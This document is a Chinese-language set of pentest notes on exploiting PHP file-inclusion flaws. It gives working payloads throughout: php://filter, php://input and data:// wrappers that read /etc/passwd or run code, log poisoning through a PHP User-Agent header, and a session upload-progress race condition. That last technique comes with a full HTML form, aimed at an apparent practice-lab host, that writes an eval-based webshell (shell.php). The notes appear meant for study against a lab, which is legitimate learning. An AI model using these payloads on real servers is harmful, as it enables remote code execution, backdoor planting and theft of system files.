文件包含
查看类型
先检查是只有一种还是两种都有(本地文件包含LFI
/ 远程文件包含RFI
)
百盒类型
php环境
include()
,require()
,include_once()
,require_once()
需要在对应的php.ini
下设置,这是需要提前设置的
1 | allow_url_fopen:默认值是ON。允许url里的封装协议访问文件; |
include()
远程代码执行,实际上是在本地执行了远程的代码,返回的仍然是本地执行后的内容
JAVA 环境
java.io.file
,java.io.filereader
ASP .NET环境
System.IO.FileStream
,System.IO.FileReader
黑盒发现
查看路径中是否有
path
,file
,page
,p
,dir
,pag
,eng
,achieve
是否有文件上传
如果有文件利用就直接利用文件
如果没有文件利用
- 包含日志文件利用
- 包含session文件利用
- 伪协议利用
无文件支持伪协议利用
伪协议实现无文件,但是文件读取和代码
文件读取:
1 | file:///etc/passwd 需要绝对路径 |
文件写入
使用这个filter/write的时候需要后端有对应的代码支持
1 | ?file=php://filter/write=convert.base64-encode/resource=phpinfo.php |
后端代码如下
1 | include($_GET[file]); |
也需要有对应的
file
传参点
1 | ?file=php://input |
1 | 验证代码 cmd=echo "success"; 一定要加上回车!!!!!! |
代码执行
1 | php://input |
1 | data://text/plain,<?php phpinfo();?> |
1 | data://text/plain;base64,’base64加密后的内容‘ |
日志文件包含 如果php
被过滤了且无法绕过
使用包含日志文件利用, 原理是修改
UA头
改成执行代码,访问日志路径时会被执行
寻找框架,找出默认日志地址
nginx
默认访问路径地址1
/var/log/nginx/access.log
apaceh
的日志在类似目录下1
/var/log/httpd/access.log
User-Agent
改成
1 | User-Agent: aaaaaaaa<?php system('ls');?> |
然后再访问access.log
就可以得到执行的命令回显
SESSION
文件包含
参考文档
配置
1 | session.save_path //session文件存储地址 |
信息搜集找到对应框架,发现默认session
储存地址
phpstudy
默认地址1
D:\AppGallery\phpstudy_pro\Extensions\tmp\tmp
Windows
服务器地址1
C:\\WINDOWS\Temp
Linux
服务器 linux服务器不分大小写D:\AppGallery\phpstudy_pro\Extensions\tmp\tmp`1
/tmp/session 或者 /var/lib/php/session
原理
在发包中的文件头中嵌入cookie
设置senssion
可以在本地的session
路径下生成session名文件,但是由于session.upload_progress.cleanup
的存在,上传的session马上会被删除,但是有确实短暂的在服务器中存在一段时间
故使用条件竞争,想达到上传session之后在被服务器清除之前访问session的文件来执行里面的代码
需要在访问包头中添加Cookie
1 | Cookie: PHPSESSID=xiaodi !!!!注意PHPSESSID书写 |
PHP_SESSION_UPLOAD_PROGRESS 的作用
当表单中包含 PHP_SESSION_UPLOAD_PROGRESS 字段且 PHP 配置 session.upload_progress.enabled = On 时,PHP 会在文件上传过程中将进度信息写入 Session 文件(默认路径如/tmp/sess_<PHPSESSID>
)。Session 文件包含漏洞
若服务器存在文件包含漏洞(如include($_GET['file']);
)且能包含 Session 文件(如/tmp/sess_123
),攻击者可通过构造恶意 Session 文件内容,使其被解析为 PHP 代码。利用链
通过上传表单注入 PHP 代码到 Session 文件。
通过文件包含漏洞触发 Session 文件中的恶意代码。
恶意代码生成 Webshell(shell.php)。
操作
恶意表单
1
2
3
4
5
6
7
8
9
10<!DOCTYPE html>
<html>
<body>
<form action="http://school-server.us.kg:35565/pikachu/1.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<? php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>触发 Session 文件写入
提交表单上传文件时,PHP 会生成 Session 文件,内容类似:1
upload_progress_<?php fputs(...); ?>|a:5:{s:10:"start_time";i:1620000000;...}
此处 upload_progress_ 是 PHP 自动添加的前缀,后面紧跟恶意代码。
利用文件包含漏洞
假设服务器存在文件包含漏洞(如include($_GET['file']);
),攻击者请求:1
http://target.com/include.php?file=/tmp/sess_123
当包含 Session 文件时,PHP 会解析文件内容中的
<?php ... ?>
代码。
恶意代码fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>')
被执行,生成 Webshell。实施
使用
burpsuite
的intruder
功能,一个上传包含恶意表单的去建立session内容,一个访问session的路径1
/tmp/session/sess_xiaozhao
只要有一次在被清除前访问了这个session就可以执行里面的恶意代码,建立后门文件